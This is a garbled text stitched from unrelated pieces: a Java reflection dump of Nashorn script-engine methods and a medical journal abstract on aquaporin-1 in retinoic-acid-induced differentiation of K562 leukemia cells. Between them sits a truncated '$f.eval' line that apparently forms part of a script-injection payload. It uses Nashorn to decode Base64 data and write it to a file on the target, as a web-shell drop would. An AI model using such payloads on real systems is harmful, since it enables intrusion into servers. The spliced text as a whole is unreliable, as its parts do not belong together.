public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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Journal of Southern Medical University ›› 2012, Vol. 32 ›› Issue (12): 1689-.

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Role of aquaporin-1 gene in erythroid differentiation of erythroleukemia K562 cells induced by retinoic acid

  

  • Online:2012-12-20 Published:2012-12-20

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1689

Abstract: ObjectiveTo explore the role of aquaporin-1(AQP1) gene in erythroid differentiation of erythroleukemia K562cells
induced by retinoic acid (RA). MethodsK562cells were cultured in the presence of1μmol/L RA for varying lengths of time,
andγ-globin mRNA expression and hemoglobin content in the cells were detected by real-time PCR (RT-PCR) and ultraviolet
spectrophotometry, respectively, to evaluate the erythroid differentiation of K562cells. RT-PCR and Western blotting were
used to examine AQP1expression in the cells following RA treatment. A retroviral expression vector of AQP1small interfering
RNA (pSUPER-retro-puro-shAQP1) was constructed and transfected into K562cells to establish a K562cell line with stable
AQP1down-regulation (K562-shAQP1), in which the changes in γ-globin and hemoglobin expressions after RA treatment
were detected.ResultsRA treatment significantly increasedγ-globin and hemoglobin expressions in K562cells (P<0.01),
causing also significantly enhanced AQP1 mRNA and protein expressions over time (P<0.01). Transfection with the
recombinant plasmids pSuper-retro-puro-shAQP1resulted in stable AQP1suppression in K562cells (P<0.01), which showed
markedly reducedγ-globin and hemoglobin expressions after RA induction as compared to the control K562cells (P<0.01).
ConclusionsK562 cells show a significant increase of AQP1 expression after RA-induced erythroid differentiation, and
suppression of AQP1expression can partially block the effect of RA, suggesting the important role of AQP1in RA-induced
erythroid differentiation of K562cells.